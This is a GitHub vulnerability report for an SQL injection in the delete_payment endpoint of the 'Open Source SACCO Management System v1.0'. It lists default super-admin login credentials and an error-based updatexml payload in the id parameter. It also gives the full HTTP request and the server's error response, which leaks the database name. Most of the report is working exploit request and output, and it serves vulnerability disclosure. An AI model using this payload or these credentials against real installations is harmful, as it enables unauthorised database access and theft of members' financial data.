

main

...

bug\_report / vendors / mayuri\_k / open-source-sacco-management-system / SQLi-2.md



TGAyouman Create SQLi-2.md

History

1 contributor

35 lines (24 sloc) | 1.21 KB

...

# Open Source SACCO Management System v1.0 by mayuri\_k has SQL injection

BUG\_Author: Via

Login account: [mayuri.infospace@gmail.com](mailto:mayuri.infospace@gmail.com)/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15372/open-source-sacco-management-system-free-download.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /sacco\_shield/ajax.php?action=delete\_payment

Vulnerability location: /sacco\_shield/ajax.php?action=delete\_payment, id

dbname = sacco,length=5

[+] Payload: id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place  
---> id

POST /sacco\_shield/ajax.php?action=delete\_payment HTTP/1.1

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 64

id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot shows a web browser window with a grey header bar. Below the header, the browser's developer tools are open, displaying the network tab. The selected request is a POST to /sacco\_shield/ajax.php?action=delete\_payment. The response status is 200 OK. The response headers include Date, Server, X-Powered-By, Expires, Cache-Control, Pragma, Content-Length, Connection, and Content-Type. The response body contains a fatal error message: "Uncaught mysqli\_sql\_exception: XPATH syntax error: '-sacco-' in C:\xampp\htdocs\sacco\_shield\admin\_class.php:275". The stack trace shows the error occurred in the delete\_payment() function of the admin\_class.php file.

```
POST /sacco_shield/ajax.php?action=delete_payment HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Tue, 20 Sep 2022 07:50:21 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1i PHP/8.1.0
X-Powered-By: PHP/8.1.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 420
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: '-sacco-' in C:\xampp\htdocs\sacco_shield\admin_class.php:275
Stack trace:
#0 C:\xampp\htdocs\sacco_shield\admin_class.php(275): mysqli->query('DELETE FROM pay...')
#1 C:\xampp\htdocs\sacco_shield\ajax.php(94): Action->delete_payment()
#2 {main}
thrown in C:\xampp\htdocs\sacco_shield\admin_class.php on line 275<br />
```